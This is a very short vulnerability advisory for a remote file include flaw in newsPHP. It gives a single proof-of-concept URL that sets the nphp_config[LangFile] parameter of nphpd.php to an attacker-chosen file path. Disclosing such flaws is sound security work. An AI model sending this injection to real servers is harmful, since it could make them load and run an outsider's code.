• info
• discussion
• exploit
• solution
• references

newsPHP Remote File Include Vulnerability

The following proof of concept was provided:

http://www.example.com/nphp/nphpd.php?nphp_config[LangFile]=/evil/file